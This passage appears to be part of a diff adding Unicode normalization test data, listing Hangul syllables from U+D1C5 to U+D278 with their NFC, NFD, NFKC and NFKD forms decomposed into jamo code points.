+{ source: [0xD1C5], NFC: [0xD1C5], NFD: [0x1110, 0x116A, 0x11B0], NFKC: [0xD1C5], NFKD: [0x1110, 0x116A, 0x11B0] },
+{ source: [0xD1C6], NFC: [0xD1C6], NFD: [0x1110, 0x116A, 0x11B1], NFKC: [0xD1C6], NFKD: [0x1110, 0x116A, 0x11B1] },
+{ source: [0xD1C7], NFC: [0xD1C7], NFD: [0x1110, 0x116A, 0x11B2], NFKC: [0xD1C7], NFKD: [0x1110, 0x116A, 0x11B2] },
+{ source: [0xD1C8], NFC: [0xD1C8], NFD: [0x1110, 0x116A, 0x11B3], NFKC: [0xD1C8], NFKD: [0x1110, 0x116A, 0x11B3] },
+{ source: [0xD1C9], NFC: [0xD1C9], NFD: [0x1110, 0x116A, 0x11B4], NFKC: [0xD1C9], NFKD: [0x1110, 0x116A, 0x11B4] },
+{ source: [0xD1CA], NFC: [0xD1CA], NFD: [0x1110, 0x116A, 0x11B5], NFKC: [0xD1CA], NFKD: [0x1110, 0x116A, 0x11B5] },
+{ source: [0xD1CB], NFC: [0xD1CB], NFD: [0x1110, 0x116A, 0x11B6], NFKC: [0xD1CB], NFKD: [0x1110, 0x116A, 0x11B6] },
+{ source: [0xD1CC], NFC: [0xD1CC], NFD: [0x1110, 0x116A, 0x11B7], NFKC: [0xD1CC], NFKD: [0x1110, 0x116A, 0x11B7] },
+{ source: [0xD1CD], NFC: [0xD1CD], NFD: [0x1110, 0x116A, 0x11B8], NFKC: [0xD1CD], NFKD: [0x1110, 0x116A, 0x11B8] },
+{ source: [0xD1CE], NFC: [0xD1CE], NFD: [0x1110, 0x116A, 0x11B9], NFKC: [0xD1CE], NFKD: [0x1110, 0x116A, 0x11B9] },
+{ source: [0xD1CF], NFC: [0xD1CF], NFD: [0x1110, 0x116A, 0x11BA], NFKC: [0xD1CF], NFKD: [0x1110, 0x116A, 0x11BA] },
+{ source: [0xD1D0], NFC: [0xD1D0], NFD: [0x1110, 0x116A, 0x11BB], NFKC: [0xD1D0], NFKD: [0x1110, 0x116A, 0x11BB] },
+{ source: [0xD1D1], NFC: [0xD1D1], NFD: [0x1110, 0x116A, 0x11BC], NFKC: [0xD1D1], NFKD: [0x1110, 0x116A, 0x11BC] },
+{ source: [0xD1D2], NFC: [0xD1D2], NFD: [0x1110, 0x116A, 0x11BD], NFKC: [0xD1D2], NFKD: [0x1110, 0x116A, 0x11BD] },
+{ source: [0xD1D3], NFC: [0xD1D3], NFD: [0x1110, 0x116A, 0x11BE], NFKC: [0xD1D3], NFKD: [0x1110, 0x116A, 0x11BE] },
+{ source: [0xD1D4], NFC: [0xD1D4], NFD: [0x1110, 0x116A, 0x11BF], NFKC: [0xD1D4], NFKD: [0x1110, 0x116A, 0x11BF] },
+{ source: [0xD1D5], NFC: [0xD1D5], NFD: [0x1110, 0x116A, 0x11C0], NFKC: [0xD1D5], NFKD: [0x1110, 0x116A, 0x11C0] },
+{ source: [0xD1D6], NFC: [0xD1D6], NFD: [0x1110, 0x116A, 0x11C1], NFKC: [0xD1D6], NFKD: [0x1110, 0x116A, 0x11C1] },
+{ source: [0xD1D7], NFC: [0xD1D7], NFD: [0x1110, 0x116A, 0x11C2], NFKC: [0xD1D7], NFKD: [0x1110, 0x116A, 0x11C2] },
+{ source: [0xD1D8], NFC: [0xD1D8], NFD: [0x1110, 0x116B], NFKC: [0xD1D8], NFKD: [0x1110, 0x116B] },
+{ source: [0xD1D9], NFC: [0xD1D9], NFD: [0x1110, 0x116B, 0x11A8], NFKC: [0xD1D9], NFKD: [0x1110, 0x116B, 0x11A8] },
+{ source: [0xD1DA], NFC: [0xD1DA], NFD: [0x1110, 0x116B, 0x11A9], NFKC: [0xD1DA], NFKD: [0x1110, 0x116B, 0x11A9] },
+{ source: [0xD1DB], NFC: [0xD1DB], NFD: [0x1110, 0x116B, 0x11AA], NFKC: [0xD1DB], NFKD: [0x1110, 0x116B, 0x11AA] },
+{ source: [0xD1DC], NFC: [0xD1DC], NFD: [0x1110, 0x116B, 0x11AB], NFKC: [0xD1DC], NFKD: [0x1110, 0x116B, 0x11AB] },
+{ source: [0xD1DD], NFC: [0xD1DD], NFD: [0x1110, 0x116B, 0x11AC], NFKC: [0xD1DD], NFKD: [0x1110, 0x116B, 0x11AC] },
+{ source: [0xD1DE], NFC: [0xD1DE], NFD: [0x1110, 0x116B, 0x11AD], NFKC: [0xD1DE], NFKD: [0x1110, 0x116B, 0x11AD] },
+{ source: [0xD1DF], NFC: [0xD1DF], NFD: [0x1110, 0x116B, 0x11AE], NFKC: [0xD1DF], NFKD: [0x1110, 0x116B, 0x11AE] },
+{ source: [0xD1E0], NFC: [0xD1E0], NFD: [0x1110, 0x116B, 0x11AF], NFKC: [0xD1E0], NFKD: [0x1110, 0x116B, 0x11AF] },
+{ source: [0xD1E1], NFC: [0xD1E1], NFD: [0x1110, 0x116B, 0x11B0], NFKC: [0xD1E1], NFKD: [0x1110, 0x116B, 0x11B0] },
+{ source: [0xD1E2], NFC: [0xD1E2], NFD: [0x1110, 0x116B, 0x11B1], NFKC: [0xD1E2], NFKD: [0x1110, 0x116B, 0x11B1] },
+{ source: [0xD1E3], NFC: [0xD1E3], NFD: [0x1110, 0x116B, 0x11B2], NFKC: [0xD1E3], NFKD: [0x1110, 0x116B, 0x11B2] },
+{ source: [0xD1E4], NFC: [0xD1E4], NFD: [0x1110, 0x116B, 0x11B3], NFKC: [0xD1E4], NFKD: [0x1110, 0x116B, 0x11B3] },
+{ source: [0xD1E5], NFC: [0xD1E5], NFD: [0x1110, 0x116B, 0x11B4], NFKC: [0xD1E5], NFKD: [0x1110, 0x116B, 0x11B4] },
+{ source: [0xD1E6], NFC: [0xD1E6], NFD: [0x1110, 0x116B, 0x11B5], NFKC: [0xD1E6], NFKD: [0x1110, 0x116B, 0x11B5] },
+{ source: [0xD1E7], NFC: [0xD1E7], NFD: [0x1110, 0x116B, 0x11B6], NFKC: [0xD1E7], NFKD: [0x1110, 0x116B, 0x11B6] },
+{ source: [0xD1E8], NFC: [0xD1E8], NFD: [0x1110, 0x116B, 0x11B7], NFKC: [0xD1E8], NFKD: [0x1110, 0x116B, 0x11B7] },
+{ source: [0xD1E9], NFC: [0xD1E9], NFD: [0x1110, 0x116B, 0x11B8], NFKC: [0xD1E9], NFKD: [0x1110, 0x116B, 0x11B8] },
+{ source: [0xD1EA], NFC: [0xD1EA], NFD: [0x1110, 0x116B, 0x11B9], NFKC: [0xD1EA], NFKD: [0x1110, 0x116B, 0x11B9] },
+{ source: [0xD1EB], NFC: [0xD1EB], NFD: [0x1110, 0x116B, 0x11BA], NFKC: [0xD1EB], NFKD: [0x1110, 0x116B, 0x11BA] },
+{ source: [0xD1EC], NFC: [0xD1EC], NFD: [0x1110, 0x116B, 0x11BB], NFKC: [0xD1EC], NFKD: [0x1110, 0x116B, 0x11BB] },
+{ source: [0xD1ED], NFC: [0xD1ED], NFD: [0x1110, 0x116B, 0x11BC], NFKC: [0xD1ED], NFKD: [0x1110, 0x116B, 0x11BC] },
+{ source: [0xD1EE], NFC: [0xD1EE], NFD: [0x1110, 0x116B, 0x11BD], NFKC: [0xD1EE], NFKD: [0x1110, 0x116B, 0x11BD] },
+{ source: [0xD1EF], NFC: [0xD1EF], NFD: [0x1110, 0x116B, 0x11BE], NFKC: [0xD1EF], NFKD: [0x1110, 0x116B, 0x11BE] },
+{ source: [0xD1F0], NFC: [0xD1F0], NFD: [0x1110, 0x116B, 0x11BF], NFKC: [0xD1F0], NFKD: [0x1110, 0x116B, 0x11BF] },
+{ source: [0xD1F1], NFC: [0xD1F1], NFD: [0x1110, 0x116B, 0x11C0], NFKC: [0xD1F1], NFKD: [0x1110, 0x116B, 0x11C0] },
+{ source: [0xD1F2], NFC: [0xD1F2], NFD: [0x1110, 0x116B, 0x11C1], NFKC: [0xD1F2], NFKD: [0x1110, 0x116B, 0x11C1] },
+{ source: [0xD1F3], NFC: [0xD1F3], NFD: [0x1110, 0x116B, 0x11C2], NFKC: [0xD1F3], NFKD: [0x1110, 0x116B, 0x11C2] },
+{ source: [0xD1F4], NFC: [0xD1F4], NFD: [0x1110, 0x116C], NFKC: [0xD1F4], NFKD: [0x1110, 0x116C] },
+{ source: [0xD1F5], NFC: [0xD1F5], NFD: [0x1110, 0x116C, 0x11A8], NFKC: [0xD1F5], NFKD: [0x1110, 0x116C, 0x11A8] },
+{ source: [0xD1F6], NFC: [0xD1F6], NFD: [0x1110, 0x116C, 0x11A9], NFKC: [0xD1F6], NFKD: [0x1110, 0x116C, 0x11A9] },
+{ source: [0xD1F7], NFC: [0xD1F7], NFD: [0x1110, 0x116C, 0x11AA], NFKC: [0xD1F7], NFKD: [0x1110, 0x116C, 0x11AA] },
+{ source: [0xD1F8], NFC: [0xD1F8], NFD: [0x1110, 0x116C, 0x11AB], NFKC: [0xD1F8], NFKD: [0x1110, 0x116C, 0x11AB] },
+{ source: [0xD1F9], NFC: [0xD1F9], NFD: [0x1110, 0x116C, 0x11AC], NFKC: [0xD1F9], NFKD: [0x1110, 0x116C, 0x11AC] },
+{ source: [0xD1FA], NFC: [0xD1FA], NFD: [0x1110, 0x116C, 0x11AD], NFKC: [0xD1FA], NFKD: [0x1110, 0x116C, 0x11AD] },
+{ source: [0xD1FB], NFC: [0xD1FB], NFD: [0x1110, 0x116C, 0x11AE], NFKC: [0xD1FB], NFKD: [0x1110, 0x116C, 0x11AE] },
+{ source: [0xD1FC], NFC: [0xD1FC], NFD: [0x1110, 0x116C, 0x11AF], NFKC: [0xD1FC], NFKD: [0x1110, 0x116C, 0x11AF] },
+{ source: [0xD1FD], NFC: [0xD1FD], NFD: [0x1110, 0x116C, 0x11B0], NFKC: [0xD1FD], NFKD: [0x1110, 0x116C, 0x11B0] },
+{ source: [0xD1FE], NFC: [0xD1FE], NFD: [0x1110, 0x116C, 0x11B1], NFKC: [0xD1FE], NFKD: [0x1110, 0x116C, 0x11B1] },
+{ source: [0xD1FF], NFC: [0xD1FF], NFD: [0x1110, 0x116C, 0x11B2], NFKC: [0xD1FF], NFKD: [0x1110, 0x116C, 0x11B2] },
+{ source: [0xD200], NFC: [0xD200], NFD: [0x1110, 0x116C, 0x11B3], NFKC: [0xD200], NFKD: [0x1110, 0x116C, 0x11B3] },
+{ source: [0xD201], NFC: [0xD201], NFD: [0x1110, 0x116C, 0x11B4], NFKC: [0xD201], NFKD: [0x1110, 0x116C, 0x11B4] },
+{ source: [0xD202], NFC: [0xD202], NFD: [0x1110, 0x116C, 0x11B5], NFKC: [0xD202], NFKD: [0x1110, 0x116C, 0x11B5] },
+{ source: [0xD203], NFC: [0xD203], NFD: [0x1110, 0x116C, 0x11B6], NFKC: [0xD203], NFKD: [0x1110, 0x116C, 0x11B6] },
+{ source: [0xD204], NFC: [0xD204], NFD: [0x1110, 0x116C, 0x11B7], NFKC: [0xD204], NFKD: [0x1110, 0x116C, 0x11B7] },
+{ source: [0xD205], NFC: [0xD205], NFD: [0x1110, 0x116C, 0x11B8], NFKC: [0xD205], NFKD: [0x1110, 0x116C, 0x11B8] },
+{ source: [0xD206], NFC: [0xD206], NFD: [0x1110, 0x116C, 0x11B9], NFKC: [0xD206], NFKD: [0x1110, 0x116C, 0x11B9] },
+{ source: [0xD207], NFC: [0xD207], NFD: [0x1110, 0x116C, 0x11BA], NFKC: [0xD207], NFKD: [0x1110, 0x116C, 0x11BA] },
+{ source: [0xD208], NFC: [0xD208], NFD: [0x1110, 0x116C, 0x11BB], NFKC: [0xD208], NFKD: [0x1110, 0x116C, 0x11BB] },
+{ source: [0xD209], NFC: [0xD209], NFD: [0x1110, 0x116C, 0x11BC], NFKC: [0xD209], NFKD: [0x1110, 0x116C, 0x11BC] },
+{ source: [0xD20A], NFC: [0xD20A], NFD: [0x1110, 0x116C, 0x11BD], NFKC: [0xD20A], NFKD: [0x1110, 0x116C, 0x11BD] },
+{ source: [0xD20B], NFC: [0xD20B], NFD: [0x1110, 0x116C, 0x11BE], NFKC: [0xD20B], NFKD: [0x1110, 0x116C, 0x11BE] },
+{ source: [0xD20C], NFC: [0xD20C], NFD: [0x1110, 0x116C, 0x11BF], NFKC: [0xD20C], NFKD: [0x1110, 0x116C, 0x11BF] },
+{ source: [0xD20D], NFC: [0xD20D], NFD: [0x1110, 0x116C, 0x11C0], NFKC: [0xD20D], NFKD: [0x1110, 0x116C, 0x11C0] },
+{ source: [0xD20E], NFC: [0xD20E], NFD: [0x1110, 0x116C, 0x11C1], NFKC: [0xD20E], NFKD: [0x1110, 0x116C, 0x11C1] },
+{ source: [0xD20F], NFC: [0xD20F], NFD: [0x1110, 0x116C, 0x11C2], NFKC: [0xD20F], NFKD: [0x1110, 0x116C, 0x11C2] },
+{ source: [0xD210], NFC: [0xD210], NFD: [0x1110, 0x116D], NFKC: [0xD210], NFKD: [0x1110, 0x116D] },
+{ source: [0xD211], NFC: [0xD211], NFD: [0x1110, 0x116D, 0x11A8], NFKC: [0xD211], NFKD: [0x1110, 0x116D, 0x11A8] },
+{ source: [0xD212], NFC: [0xD212], NFD: [0x1110, 0x116D, 0x11A9], NFKC: [0xD212], NFKD: [0x1110, 0x116D, 0x11A9] },
+{ source: [0xD213], NFC: [0xD213], NFD: [0x1110, 0x116D, 0x11AA], NFKC: [0xD213], NFKD: [0x1110, 0x116D, 0x11AA] },
+{ source: [0xD214], NFC: [0xD214], NFD: [0x1110, 0x116D, 0x11AB], NFKC: [0xD214], NFKD: [0x1110, 0x116D, 0x11AB] },
+{ source: [0xD215], NFC: [0xD215], NFD: [0x1110, 0x116D, 0x11AC], NFKC: [0xD215], NFKD: [0x1110, 0x116D, 0x11AC] },
+{ source: [0xD216], NFC: [0xD216], NFD: [0x1110, 0x116D, 0x11AD], NFKC: [0xD216], NFKD: [0x1110, 0x116D, 0x11AD] },
+{ source: [0xD217], NFC: [0xD217], NFD: [0x1110, 0x116D, 0x11AE], NFKC: [0xD217], NFKD: [0x1110, 0x116D, 0x11AE] },
+{ source: [0xD218], NFC: [0xD218], NFD: [0x1110, 0x116D, 0x11AF], NFKC: [0xD218], NFKD: [0x1110, 0x116D, 0x11AF] },
+{ source: [0xD219], NFC: [0xD219], NFD: [0x1110, 0x116D, 0x11B0], NFKC: [0xD219], NFKD: [0x1110, 0x116D, 0x11B0] },
+{ source: [0xD21A], NFC: [0xD21A], NFD: [0x1110, 0x116D, 0x11B1], NFKC: [0xD21A], NFKD: [0x1110, 0x116D, 0x11B1] },
+{ source: [0xD21B], NFC: [0xD21B], NFD: [0x1110, 0x116D, 0x11B2], NFKC: [0xD21B], NFKD: [0x1110, 0x116D, 0x11B2] },
+{ source: [0xD21C], NFC: [0xD21C], NFD: [0x1110, 0x116D, 0x11B3], NFKC: [0xD21C], NFKD: [0x1110, 0x116D, 0x11B3] },
+{ source: [0xD21D], NFC: [0xD21D], NFD: [0x1110, 0x116D, 0x11B4], NFKC: [0xD21D], NFKD: [0x1110, 0x116D, 0x11B4] },
+{ source: [0xD21E], NFC: [0xD21E], NFD: [0x1110, 0x116D, 0x11B5], NFKC: [0xD21E], NFKD: [0x1110, 0x116D, 0x11B5] },
+{ source: [0xD21F], NFC: [0xD21F], NFD: [0x1110, 0x116D, 0x11B6], NFKC: [0xD21F], NFKD: [0x1110, 0x116D, 0x11B6] },
+{ source: [0xD220], NFC: [0xD220], NFD: [0x1110, 0x116D, 0x11B7], NFKC: [0xD220], NFKD: [0x1110, 0x116D, 0x11B7] },
+{ source: [0xD221], NFC: [0xD221], NFD: [0x1110, 0x116D, 0x11B8], NFKC: [0xD221], NFKD: [0x1110, 0x116D, 0x11B8] },
+{ source: [0xD222], NFC: [0xD222], NFD: [0x1110, 0x116D, 0x11B9], NFKC: [0xD222], NFKD: [0x1110, 0x116D, 0x11B9] },
+{ source: [0xD223], NFC: [0xD223], NFD: [0x1110, 0x116D, 0x11BA], NFKC: [0xD223], NFKD: [0x1110, 0x116D, 0x11BA] },
+{ source: [0xD224], NFC: [0xD224], NFD: [0x1110, 0x116D, 0x11BB], NFKC: [0xD224], NFKD: [0x1110, 0x116D, 0x11BB] },
+{ source: [0xD225], NFC: [0xD225], NFD: [0x1110, 0x116D, 0x11BC], NFKC: [0xD225], NFKD: [0x1110, 0x116D, 0x11BC] },
+{ source: [0xD226], NFC: [0xD226], NFD: [0x1110, 0x116D, 0x11BD], NFKC: [0xD226], NFKD: [0x1110, 0x116D, 0x11BD] },
+{ source: [0xD227], NFC: [0xD227], NFD: [0x1110, 0x116D, 0x11BE], NFKC: [0xD227], NFKD: [0x1110, 0x116D, 0x11BE] },
+{ source: [0xD228], NFC: [0xD228], NFD: [0x1110, 0x116D, 0x11BF], NFKC: [0xD228], NFKD: [0x1110, 0x116D, 0x11BF] },
+{ source: [0xD229], NFC: [0xD229], NFD: [0x1110, 0x116D, 0x11C0], NFKC: [0xD229], NFKD: [0x1110, 0x116D, 0x11C0] },
+{ source: [0xD22A], NFC: [0xD22A], NFD: [0x1110, 0x116D, 0x11C1], NFKC: [0xD22A], NFKD: [0x1110, 0x116D, 0x11C1] },
+{ source: [0xD22B], NFC: [0xD22B], NFD: [0x1110, 0x116D, 0x11C2], NFKC: [0xD22B], NFKD: [0x1110, 0x116D, 0x11C2] },
+{ source: [0xD22C], NFC: [0xD22C], NFD: [0x1110, 0x116E], NFKC: [0xD22C], NFKD: [0x1110, 0x116E] },
+{ source: [0xD22D], NFC: [0xD22D], NFD: [0x1110, 0x116E, 0x11A8], NFKC: [0xD22D], NFKD: [0x1110, 0x116E, 0x11A8] },
+{ source: [0xD22E], NFC: [0xD22E], NFD: [0x1110, 0x116E, 0x11A9], NFKC: [0xD22E], NFKD: [0x1110, 0x116E, 0x11A9] },
+{ source: [0xD22F], NFC: [0xD22F], NFD: [0x1110, 0x116E, 0x11AA], NFKC: [0xD22F], NFKD: [0x1110, 0x116E, 0x11AA] },
+{ source: [0xD230], NFC: [0xD230], NFD: [0x1110, 0x116E, 0x11AB], NFKC: [0xD230], NFKD: [0x1110, 0x116E, 0x11AB] },
+{ source: [0xD231], NFC: [0xD231], NFD: [0x1110, 0x116E, 0x11AC], NFKC: [0xD231], NFKD: [0x1110, 0x116E, 0x11AC] },
+{ source: [0xD232], NFC: [0xD232], NFD: [0x1110, 0x116E, 0x11AD], NFKC: [0xD232], NFKD: [0x1110, 0x116E, 0x11AD] },
+{ source: [0xD233], NFC: [0xD233], NFD: [0x1110, 0x116E, 0x11AE], NFKC: [0xD233], NFKD: [0x1110, 0x116E, 0x11AE] },
+{ source: [0xD234], NFC: [0xD234], NFD: [0x1110, 0x116E, 0x11AF], NFKC: [0xD234], NFKD: [0x1110, 0x116E, 0x11AF] },
+{ source: [0xD235], NFC: [0xD235], NFD: [0x1110, 0x116E, 0x11B0], NFKC: [0xD235], NFKD: [0x1110, 0x116E, 0x11B0] },
+{ source: [0xD236], NFC: [0xD236], NFD: [0x1110, 0x116E, 0x11B1], NFKC: [0xD236], NFKD: [0x1110, 0x116E, 0x11B1] },
+{ source: [0xD237], NFC: [0xD237], NFD: [0x1110, 0x116E, 0x11B2], NFKC: [0xD237], NFKD: [0x1110, 0x116E, 0x11B2] },
+{ source: [0xD238], NFC: [0xD238], NFD: [0x1110, 0x116E, 0x11B3], NFKC: [0xD238], NFKD: [0x1110, 0x116E, 0x11B3] },
+{ source: [0xD239], NFC: [0xD239], NFD: [0x1110, 0x116E, 0x11B4], NFKC: [0xD239], NFKD: [0x1110, 0x116E, 0x11B4] },
+{ source: [0xD23A], NFC: [0xD23A], NFD: [0x1110, 0x116E, 0x11B5], NFKC: [0xD23A], NFKD: [0x1110, 0x116E, 0x11B5] },
+{ source: [0xD23B], NFC: [0xD23B], NFD: [0x1110, 0x116E, 0x11B6], NFKC: [0xD23B], NFKD: [0x1110, 0x116E, 0x11B6] },
+{ source: [0xD23C], NFC: [0xD23C], NFD: [0x1110, 0x116E, 0x11B7], NFKC: [0xD23C], NFKD: [0x1110, 0x116E, 0x11B7] },
+{ source: [0xD23D], NFC: [0xD23D], NFD: [0x1110, 0x116E, 0x11B8], NFKC: [0xD23D], NFKD: [0x1110, 0x116E, 0x11B8] },
+{ source: [0xD23E], NFC: [0xD23E], NFD: [0x1110, 0x116E, 0x11B9], NFKC: [0xD23E], NFKD: [0x1110, 0x116E, 0x11B9] },
+{ source: [0xD23F], NFC: [0xD23F], NFD: [0x1110, 0x116E, 0x11BA], NFKC: [0xD23F], NFKD: [0x1110, 0x116E, 0x11BA] },
+{ source: [0xD240], NFC: [0xD240], NFD: [0x1110, 0x116E, 0x11BB], NFKC: [0xD240], NFKD: [0x1110, 0x116E, 0x11BB] },
+{ source: [0xD241], NFC: [0xD241], NFD: [0x1110, 0x116E, 0x11BC], NFKC: [0xD241], NFKD: [0x1110, 0x116E, 0x11BC] },
+{ source: [0xD242], NFC: [0xD242], NFD: [0x1110, 0x116E, 0x11BD], NFKC: [0xD242], NFKD: [0x1110, 0x116E, 0x11BD] },
+{ source: [0xD243], NFC: [0xD243], NFD: [0x1110, 0x116E, 0x11BE], NFKC: [0xD243], NFKD: [0x1110, 0x116E, 0x11BE] },
+{ source: [0xD244], NFC: [0xD244], NFD: [0x1110, 0x116E, 0x11BF], NFKC: [0xD244], NFKD: [0x1110, 0x116E, 0x11BF] },
+{ source: [0xD245], NFC: [0xD245], NFD: [0x1110, 0x116E, 0x11C0], NFKC: [0xD245], NFKD: [0x1110, 0x116E, 0x11C0] },
+{ source: [0xD246], NFC: [0xD246], NFD: [0x1110, 0x116E, 0x11C1], NFKC: [0xD246], NFKD: [0x1110, 0x116E, 0x11C1] },
+{ source: [0xD247], NFC: [0xD247], NFD: [0x1110, 0x116E, 0x11C2], NFKC: [0xD247], NFKD: [0x1110, 0x116E, 0x11C2] },
+{ source: [0xD248], NFC: [0xD248], NFD: [0x1110, 0x116F], NFKC: [0xD248], NFKD: [0x1110, 0x116F] },
+{ source: [0xD249], NFC: [0xD249], NFD: [0x1110, 0x116F, 0x11A8], NFKC: [0xD249], NFKD: [0x1110, 0x116F, 0x11A8] },
+{ source: [0xD24A], NFC: [0xD24A], NFD: [0x1110, 0x116F, 0x11A9], NFKC: [0xD24A], NFKD: [0x1110, 0x116F, 0x11A9] },
+{ source: [0xD24B], NFC: [0xD24B], NFD: [0x1110, 0x116F, 0x11AA], NFKC: [0xD24B], NFKD: [0x1110, 0x116F, 0x11AA] },
+{ source: [0xD24C], NFC: [0xD24C], NFD: [0x1110, 0x116F, 0x11AB], NFKC: [0xD24C], NFKD: [0x1110, 0x116F, 0x11AB] },
+{ source: [0xD24D], NFC: [0xD24D], NFD: [0x1110, 0x116F, 0x11AC], NFKC: [0xD24D], NFKD: [0x1110, 0x116F, 0x11AC] },
+{ source: [0xD24E], NFC: [0xD24E], NFD: [0x1110, 0x116F, 0x11AD], NFKC: [0xD24E], NFKD: [0x1110, 0x116F, 0x11AD] },
+{ source: [0xD24F], NFC: [0xD24F], NFD: [0x1110, 0x116F, 0x11AE], NFKC: [0xD24F], NFKD: [0x1110, 0x116F, 0x11AE] },
+{ source: [0xD250], NFC: [0xD250], NFD: [0x1110, 0x116F, 0x11AF], NFKC: [0xD250], NFKD: [0x1110, 0x116F, 0x11AF] },
+{ source: [0xD251], NFC: [0xD251], NFD: [0x1110, 0x116F, 0x11B0], NFKC: [0xD251], NFKD: [0x1110, 0x116F, 0x11B0] },
+{ source: [0xD252], NFC: [0xD252], NFD: [0x1110, 0x116F, 0x11B1], NFKC: [0xD252], NFKD: [0x1110, 0x116F, 0x11B1] },
+{ source: [0xD253], NFC: [0xD253], NFD: [0x1110, 0x116F, 0x11B2], NFKC: [0xD253], NFKD: [0x1110, 0x116F, 0x11B2] },
+{ source: [0xD254], NFC: [0xD254], NFD: [0x1110, 0x116F, 0x11B3], NFKC: [0xD254], NFKD: [0x1110, 0x116F, 0x11B3] },
+{ source: [0xD255], NFC: [0xD255], NFD: [0x1110, 0x116F, 0x11B4], NFKC: [0xD255], NFKD: [0x1110, 0x116F, 0x11B4] },
+{ source: [0xD256], NFC: [0xD256], NFD: [0x1110, 0x116F, 0x11B5], NFKC: [0xD256], NFKD: [0x1110, 0x116F, 0x11B5] },
+{ source: [0xD257], NFC: [0xD257], NFD: [0x1110, 0x116F, 0x11B6], NFKC: [0xD257], NFKD: [0x1110, 0x116F, 0x11B6] },
+{ source: [0xD258], NFC: [0xD258], NFD: [0x1110, 0x116F, 0x11B7], NFKC: [0xD258], NFKD: [0x1110, 0x116F, 0x11B7] },
+{ source: [0xD259], NFC: [0xD259], NFD: [0x1110, 0x116F, 0x11B8], NFKC: [0xD259], NFKD: [0x1110, 0x116F, 0x11B8] },
+{ source: [0xD25A], NFC: [0xD25A], NFD: [0x1110, 0x116F, 0x11B9], NFKC: [0xD25A], NFKD: [0x1110, 0x116F, 0x11B9] },
+{ source: [0xD25B], NFC: [0xD25B], NFD: [0x1110, 0x116F, 0x11BA], NFKC: [0xD25B], NFKD: [0x1110, 0x116F, 0x11BA] },
+{ source: [0xD25C], NFC: [0xD25C], NFD: [0x1110, 0x116F, 0x11BB], NFKC: [0xD25C], NFKD: [0x1110, 0x116F, 0x11BB] },
+{ source: [0xD25D], NFC: [0xD25D], NFD: [0x1110, 0x116F, 0x11BC], NFKC: [0xD25D], NFKD: [0x1110, 0x116F, 0x11BC] },
+{ source: [0xD25E], NFC: [0xD25E], NFD: [0x1110, 0x116F, 0x11BD], NFKC: [0xD25E], NFKD: [0x1110, 0x116F, 0x11BD] },
+{ source: [0xD25F], NFC: [0xD25F], NFD: [0x1110, 0x116F, 0x11BE], NFKC: [0xD25F], NFKD: [0x1110, 0x116F, 0x11BE] },
+{ source: [0xD260], NFC: [0xD260], NFD: [0x1110, 0x116F, 0x11BF], NFKC: [0xD260], NFKD: [0x1110, 0x116F, 0x11BF] },
+{ source: [0xD261], NFC: [0xD261], NFD: [0x1110, 0x116F, 0x11C0], NFKC: [0xD261], NFKD: [0x1110, 0x116F, 0x11C0] },
+{ source: [0xD262], NFC: [0xD262], NFD: [0x1110, 0x116F, 0x11C1], NFKC: [0xD262], NFKD: [0x1110, 0x116F, 0x11C1] },
+{ source: [0xD263], NFC: [0xD263], NFD: [0x1110, 0x116F, 0x11C2], NFKC: [0xD263], NFKD: [0x1110, 0x116F, 0x11C2] },
+{ source: [0xD264], NFC: [0xD264], NFD: [0x1110, 0x1170], NFKC: [0xD264], NFKD: [0x1110, 0x1170] },
+{ source: [0xD265], NFC: [0xD265], NFD: [0x1110, 0x1170, 0x11A8], NFKC: [0xD265], NFKD: [0x1110, 0x1170, 0x11A8] },
+{ source: [0xD266], NFC: [0xD266], NFD: [0x1110, 0x1170, 0x11A9], NFKC: [0xD266], NFKD: [0x1110, 0x1170, 0x11A9] },
+{ source: [0xD267], NFC: [0xD267], NFD: [0x1110, 0x1170, 0x11AA], NFKC: [0xD267], NFKD: [0x1110, 0x1170, 0x11AA] },
+{ source: [0xD268], NFC: [0xD268], NFD: [0x1110, 0x1170, 0x11AB], NFKC: [0xD268], NFKD: [0x1110, 0x1170, 0x11AB] },
+{ source: [0xD269], NFC: [0xD269], NFD: [0x1110, 0x1170, 0x11AC], NFKC: [0xD269], NFKD: [0x1110, 0x1170, 0x11AC] },
+{ source: [0xD26A], NFC: [0xD26A], NFD: [0x1110, 0x1170, 0x11AD], NFKC: [0xD26A], NFKD: [0x1110, 0x1170, 0x11AD] },
+{ source: [0xD26B], NFC: [0xD26B], NFD: [0x1110, 0x1170, 0x11AE], NFKC: [0xD26B], NFKD: [0x1110, 0x1170, 0x11AE] },
+{ source: [0xD26C], NFC: [0xD26C], NFD: [0x1110, 0x1170, 0x11AF], NFKC: [0xD26C], NFKD: [0x1110, 0x1170, 0x11AF] },
+{ source: [0xD26D], NFC: [0xD26D], NFD: [0x1110, 0x1170, 0x11B0], NFKC: [0xD26D], NFKD: [0x1110, 0x1170, 0x11B0] },
+{ source: [0xD26E], NFC: [0xD26E], NFD: [0x1110, 0x1170, 0x11B1], NFKC: [0xD26E], NFKD: [0x1110, 0x1170, 0x11B1] },
+{ source: [0xD26F], NFC: [0xD26F], NFD: [0x1110, 0x1170, 0x11B2], NFKC: [0xD26F], NFKD: [0x1110, 0x1170, 0x11B2] },
+{ source: [0xD270], NFC: [0xD270], NFD: [0x1110, 0x1170, 0x11B3], NFKC: [0xD270], NFKD: [0x1110, 0x1170, 0x11B3] },
+{ source: [0xD271], NFC: [0xD271], NFD: [0x1110, 0x1170, 0x11B4], NFKC: [0xD271], NFKD: [0x1110, 0x1170, 0x11B4] },
+{ source: [0xD272], NFC: [0xD272], NFD: [0x1110, 0x1170, 0x11B5], NFKC: [0xD272], NFKD: [0x1110, 0x1170, 0x11B5] },
+{ source: [0xD273], NFC: [0xD273], NFD: [0x1110, 0x1170, 0x11B6], NFKC: [0xD273], NFKD: [0x1110, 0x1170, 0x11B6] },
+{ source: [0xD274], NFC: [0xD274], NFD: [0x1110, 0x1170, 0x11B7], NFKC: [0xD274], NFKD: [0x1110, 0x1170, 0x11B7] },
+{ source: [0xD275], NFC: [0xD275], NFD: [0x1110, 0x1170, 0x11B8], NFKC: [0xD275], NFKD: [0x1110, 0x1170, 0x11B8] },
+{ source: [0xD276], NFC: [0xD276], NFD: [0x1110, 0x1170, 0x11B9], NFKC: [0xD276], NFKD: [0x1110, 0x1170, 0x11B9] },
+{ source: [0xD277], NFC: [0xD277], NFD: [0x1110, 0x1170, 0x11BA], NFKC: [0xD277], NFKD: [0x1110, 0x1170, 0x11BA] },
+{ source: [0xD278], NFC: [0xD278], NFD: [0x1110, 0x1170, 0x11BB], NFKC: [0xD278], NFKD: [0x1110, 0x1170, 0x11BB] },
